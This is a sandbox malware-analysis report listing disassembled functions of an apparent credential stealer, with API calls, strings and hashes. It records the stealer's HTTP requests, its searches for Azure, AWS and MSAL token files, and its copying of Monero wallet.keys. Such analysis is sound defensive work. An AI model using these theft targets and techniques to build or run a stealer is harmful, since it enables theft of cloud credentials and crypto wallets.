Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 402baaa0271cce43f013781dfb26b7038238005abf17c2d1dbf9d1e0c2c70835
Instruction ID: 60a0ffe1d387138b56f27e378a3ac3aac2fd3a12d710e3e6c665b093b8744899
Opcode Fuzzy Hash: 402baaa0271cce43f013781dfb26b7038238005abf17c2d1dbf9d1e0c2c70835
Instruction Fuzzy Hash: 1CE1F6B19101099BCB14FBA0DD95EFE7378BF24301F904164F60BA7091DF79AA1ACB66

Function 001F8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

RegOpenKeyExA.KERNEL32(00000000,011DB020,00000000,00020019,00000000,002005B6), ref: 001F83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 001F8426
wsprintfA.USER32 ref: 001F8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 001F847B
RegCloseKey.ADVAPI32(00000000), ref: 001F848C
RegCloseKey.ADVAPI32(00000000), ref: 001F8499

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Strings

?, xrefs: 001F837A
- , xrefs: 001F85A3
%s\%s, xrefs: 001F844D

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 7ce31fa08ae6abba94ecea06cb1b845970f4d89da8e4c94daae10ec879e295d5
Instruction ID: 13260811e96559e0dfdc50278a4d0d2bf6288eec155ffa2da71b3740cfe5fd8f
Opcode Fuzzy Hash: 7ce31fa08ae6abba94ecea06cb1b845970f4d89da8e4c94daae10ec879e295d5
Instruction Fuzzy Hash: 92812FB191011CABDB24DF50CC91FEA77B8FF58700F408298E609A6190DF75AB86CF95

Function 001E6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001E4839
Part of subcall function 001E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001E4849

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

InternetOpenA.WININET(00200DFE,00000001,00000000,00000000,00000000), ref: 001E62E1
StrCmpCA.SHLWAPI(?,011DE3C0), ref: 001E6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001E6335
HttpOpenRequestA.WININET(00000000,GET,?,011DDC70,00000000,00000000,00400100,00000000), ref: 001E6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001E63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001E63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 001E63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 001E646D
InternetCloseHandle.WININET(00000000), ref: 001E64EF
InternetCloseHandle.WININET(00000000), ref: 001E64F9
InternetCloseHandle.WININET(00000000), ref: 001E6503

Strings

ERROR, xrefs: 001E64C9
GET, xrefs: 001E637C
ERROR, xrefs: 001E6407

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: dbc44691cd0b91e6f17ee6286704080c7a5bc40dcc426e90affd32cb195b3c39
Instruction ID: 8788d53b8f5a13ad08af5bf6a25ecb0883f5cf5164c849fb3d63ee83c9580713
Opcode Fuzzy Hash: dbc44691cd0b91e6f17ee6286704080c7a5bc40dcc426e90affd32cb195b3c39
Instruction Fuzzy Hash: E3714D71A00258EBDB24EBA0CC49FEE7774BF54740F9081A8F60A6B1D4DBB46A85CF51

Function 001F5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA820: lstrlen.KERNEL32(001E4F05,?,?,001E4F05,00200DDE), ref: 001FA82B
Part of subcall function 001FA820: lstrcpy.KERNEL32(00200DDE,00000000), ref: 001FA885

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001F5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001F56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001F5857

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001F51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001F5228

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001F52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001F5318
Part of subcall function 001F52C0: lstrlen.KERNEL32(00000000), ref: 001F532F
Part of subcall function 001F52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 001F5364
Part of subcall function 001F52C0: lstrlen.KERNEL32(00000000), ref: 001F5383
Part of subcall function 001F52C0: lstrlen.KERNEL32(00000000), ref: 001F53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001F578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001F5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001F5A0C
Sleep.KERNEL32(0000EA60), ref: 001F5A1B

Strings

ERROR, xrefs: 001F5693
ERROR, xrefs: 001F5849
ERROR, xrefs: 001F5932
ERROR, xrefs: 001F577D
ERROR, xrefs: 001F5636
ERROR, xrefs: 001F59FE

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 486c05dd2dd298c505427e83ba43560891429233ebc0f61cb3b9ee697d62bee2
Instruction ID: 33de31cd32b7add4d9a1f3c6fba892c682d2f650fda0a89b8f708375528a26bc
Opcode Fuzzy Hash: 486c05dd2dd298c505427e83ba43560891429233ebc0f61cb3b9ee697d62bee2
Instruction Fuzzy Hash: 0BE144B191050CABCB14FBA0DC56EFD7379AF64341F808128B70A56095EF786B1ACB92

Function 001F4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

lstrcat.KERNEL32(?,00000000), ref: 001F4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 001F4DCD

Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F492C
Part of subcall function 001F4910: FindFirstFileA.KERNEL32(?,?), ref: 001F4943

lstrcat.KERNEL32(?,00000000), ref: 001F4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 001F4E59

Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,00200FDC), ref: 001F4971
Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,00200FE0), ref: 001F4987
Part of subcall function 001F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 001F4B7D
Part of subcall function 001F4910: FindClose.KERNEL32(000000FF), ref: 001F4B92

lstrcat.KERNEL32(?,00000000), ref: 001F4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 001F4EE5

Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F49B0
Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,002008D2), ref: 001F49C5
Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F49E2
Part of subcall function 001F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 001F4A1E
Part of subcall function 001F4910: lstrcat.KERNEL32(?,011DE2A0), ref: 001F4A4A
Part of subcall function 001F4910: lstrcat.KERNEL32(?,00200FF8), ref: 001F4A5C
Part of subcall function 001F4910: lstrcat.KERNEL32(?,?), ref: 001F4A70
Part of subcall function 001F4910: lstrcat.KERNEL32(?,00200FFC), ref: 001F4A82
Part of subcall function 001F4910: lstrcat.KERNEL32(?,?), ref: 001F4A96
Part of subcall function 001F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 001F4AAC
Part of subcall function 001F4910: DeleteFileA.KERNEL32(?), ref: 001F4B31

Strings

*.*, xrefs: 001F4E64
\.IdentityService\, xrefs: 001F4ED9
Azure\.IdentityService, xrefs: 001F4EEB
Azure\.azure, xrefs: 001F4DD3
msal.cache, xrefs: 001F4EF0
*.*, xrefs: 001F4DD8
Azure\.aws, xrefs: 001F4E5F
\.aws\, xrefs: 001F4E4D
\.azure\, xrefs: 001F4DC1

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 340ff981ba81197ce98092ecf843a2b0fff9b05af02bf446a44974452604c905
Instruction ID: fb78fdfd0c189a352dcee8e0521bd6c58c76d213b7f5c2574d74d6338dd66b9a
Opcode Fuzzy Hash: 340ff981ba81197ce98092ecf843a2b0fff9b05af02bf446a44974452604c905
Instruction Fuzzy Hash: 034198B9A5030867DB10F770DC97FED3338AF65700F404594B689660C2EEB457E98B92

Function 001E1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001E12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001E12B4
Part of subcall function 001E12A0: RtlAllocateHeap.NTDLL(00000000), ref: 001E12BB
Part of subcall function 001E12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 001E12D7
Part of subcall function 001E12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001E12F5
Part of subcall function 001E12A0: RegCloseKey.ADVAPI32(?), ref: 001E12FF

lstrcat.KERNEL32(?,00000000), ref: 001E134F
lstrlen.KERNEL32(?), ref: 001E135C
lstrcat.KERNEL32(?,.keys), ref: 001E1377

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001F8B60: GetSystemTime.KERNEL32(00200E1A,011D9B18,002005AE,?,?,001E13F9,?,0000001A,00200E1A,00000000,?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001F8B86

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 001E1465

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001E99EC
Part of subcall function 001E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001E9A11
Part of subcall function 001E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001E9A31
Part of subcall function 001E99C0: ReadFile.KERNEL32(000000FF,?,00000000,001E148F,00000000), ref: 001E9A5A
Part of subcall function 001E99C0: LocalFree.KERNEL32(001E148F), ref: 001E9A90
Part of subcall function 001E99C0: CloseHandle.KERNEL32(000000FF), ref: 001E9A9A

DeleteFileA.KERNEL32(00000000), ref: 001E14EF

Strings

wallet_path, xrefs: 001E1330
.keys, xrefs: 001E136B
SOFTWARE\monero-project\monero-core, xrefs: 001E1335
\Monero\wallet.keys, xrefs: 001E138D

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: cd5e3e54447d0578b1ff08e6b76f8eae4ff7bdc34f2faaccf09f81eb4b8a9529
Instruction ID: 7069473c7df86445ba970fce6b016f9711ebe971b46e61301299e2f26b196191
Opcode Fuzzy Hash: cd5e3e54447d0578b1ff08e6b76f8eae4ff7bdc34f2faaccf09f81eb4b8a9529
Instruction Fuzzy Hash: 275122F195011D57CB15FB60DC96AFD733CAF64300F8041A8B70E62092EF746B9ACAA6

Function 001F7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 001F7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001F757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7603
RtlAllocateHeap.NTDLL(00000000), ref: 001F760A
wsprintfA.USER32 ref: 001F7640

